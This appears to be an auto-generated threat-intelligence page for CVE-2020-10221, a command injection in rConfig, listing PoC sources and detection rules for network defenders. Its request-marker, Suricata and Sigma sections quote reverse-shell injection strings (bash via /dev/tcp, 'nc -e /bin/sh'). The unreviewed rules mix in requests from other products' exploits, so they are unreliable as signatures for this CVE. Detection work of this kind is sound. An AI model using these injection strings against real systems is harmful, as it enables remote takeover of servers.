rConfig
rConfig OS Command Injection Vulnerability
lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.94 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the fileName POST parameter.
Timeline
Days relative to CVE publicationFirst public PoC 3.1 days after publication; added to CISA KEV 1.7 years after publication. First PoC: rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution (Exploit-DB, 12 Mar 2020).
PoC repositories
Found on GitHub.1 PoCs · 1 pending
PoCs 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| EnginDemirbilek/PublicExploits | 21 May 2020 +74 d | 0 | PoC via PoC Index |
Pending 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| Live-Hack-CVE/CVE-2020-10221 | unknown | 0 | Pending · repository unavailable (HTTP 404) |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
Other public exploits
Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.| Source | Title | Published | Found by us |
|---|---|---|---|
| Exploit-DB | rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution | 12 Mar 2020 | 14 Nov 2026 |
| nuclei template | nuclei template: rConfig <= 3.9.4 - Authenticated OS Command Injection | 14 Jul 2026 | 14 Nov 2026 |
PoC characteristics
What to hunt for in your logs · from 1 PoC repoGET /include/views/graphs/graphStatus/displayServiceStatus.php
- Seen in
- 1 repo: EnginDemirbilek/PublicExploits
- Evidence
- EnginDemirbilek/PublicExploits/CVE-2020-13252-Centreon.py:85
GET /main.get.php
- Query
p=50118- Seen in
- 1 repo: EnginDemirbilek/PublicExploits
- Evidence
- EnginDemirbilek/PublicExploits/CVE-2020-13252-Centreon.py:52
POST /lib/ajaxHandlers/ajaxAddTemplate.php
- Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8- Body markers
;bash -i >=/dev/tcp/{}/{} 0>=1;=inapplication/x-www-form-urlencoded- PoC User-Agent
Mozilla/5.0 Gecko/20100101 Firefox/72.0- Seen in
- 1 repo: EnginDemirbilek/PublicExploits
- Evidence
- EnginDemirbilek/PublicExploits/CVE-2020-10221-rConfig.py:41
POST /lib/crud/userprocess.php
- Body markers
user=pass=sublogin=1inapplication/x-www-form-urlencoded- Seen in
- 1 repo: EnginDemirbilek/PublicExploits
- Evidence
- EnginDemirbilek/PublicExploits/CVE-2020-10221-rConfig.py:31
POST /main.get.php
- Query
p=50118- Seen in
- 1 repo: EnginDemirbilek/PublicExploits
- Evidence
- EnginDemirbilek/PublicExploits/CVE-2020-13252-Centreon.py:81
POST /pandora_console/index.php
- Query
login=1sec=netfsec2=operation/netflow/nf_live_viewpure=0- Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8- Body markers
nick=pass=login_button=Login";nc -e /bin/sh {var} {var} #=inapplication/x-www-form-urlencoded- PoC User-Agent
Mozilla/5.0 Gecko/20100101 Firefox/72.0- Seen in
- 1 repo: EnginDemirbilek/PublicExploits
- Evidence
- EnginDemirbilek/PublicExploits/CVE-2020-8947-pandorafms.py:40 EnginDemirbilek/PublicExploits/CVE-2020-8947-pandorafms.py:68
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/include/views/graphs/graphStatus/displayServiceStatus\.php(?:[?#].*)?$
(?i)^/main\.get\.php\?(?:.*&)?p=50118
(?i)^/lib/ajaxHandlers/ajaxAddTemplate\.php(?:[?#].*)?$
(?i)^/lib/crud/userprocess\.php(?:[?#].*)?$
(?i)^/main\.get\.php\?(?:.*&)?p=50118
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2020-10221 rConfig rConfig exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/include/views/graphs/graphStatus/displayServiceStatus.php"; reference:url,poc.griffinguard.io/cve/CVE-2020-10221; classtype:web-application-attack; sid:9599572; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2020-10221 rConfig rConfig exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/main.get.php"; http.uri; content:"p=50118"; reference:url,poc.griffinguard.io/cve/CVE-2020-10221; classtype:web-application-attack; sid:9621423; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2020-10221 rConfig rConfig exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/lib/ajaxHandlers/ajaxAddTemplate.php"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,image/webp,*/*|3b|q=0.8"; nocase; http.request_body; content:"|3b|bash -i >="; http.request_body; content:"/dev/tcp/{}/{} 0>="; http.request_body; content:"1|3b|="; reference:url,poc.griffinguard.io/cve/CVE-2020-10221; classtype:web-application-attack; sid:9544003; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2020-10221 rConfig rConfig exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/lib/crud/userprocess.php"; http.request_body; content:"user="; http.request_body; content:"pass="; http.request_body; content:"sublogin=1"; reference:url,poc.griffinguard.io/cve/CVE-2020-10221; classtype:web-application-attack; sid:9806295; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2020-10221 rConfig rConfig exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/main.get.php"; http.uri; content:"p=50118"; reference:url,poc.griffinguard.io/cve/CVE-2020-10221; classtype:web-application-attack; sid:9630383; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: rConfig rConfig exploit attempt (CVE-2020-10221)
id: gg-pocmon-cve-2020-10221-9599572
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-10221. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2020-10221
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/include/views/graphs/graphStatus/displayServiceStatus.php'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2020.10221
title: rConfig rConfig exploit attempt (CVE-2020-10221)
id: gg-pocmon-cve-2020-10221-9621423
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-10221. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2020-10221
logsource:
category: webserver
detection:
selection:
cs-method: GET
cs-uri-stem|contains|all:
- '/main.get.php'
cs-uri-query|contains|all:
- 'p=50118'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2020.10221
title: rConfig rConfig exploit attempt (CVE-2020-10221)
id: gg-pocmon-cve-2020-10221-9544003
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-10221. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2020-10221
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/lib/ajaxHandlers/ajaxAddTemplate.php'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2020.10221
title: rConfig rConfig exploit attempt (CVE-2020-10221)
id: gg-pocmon-cve-2020-10221-9806295
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-10221. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2020-10221
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/lib/crud/userprocess.php'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2020.10221
title: rConfig rConfig exploit attempt (CVE-2020-10221)
id: gg-pocmon-cve-2020-10221-9630383
status: experimental
description: Request pattern taken from public PoCs for CVE-2020-10221. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2020-10221
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/main.get.php'
cs-uri-query|contains|all:
- 'p=50118'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2020.10221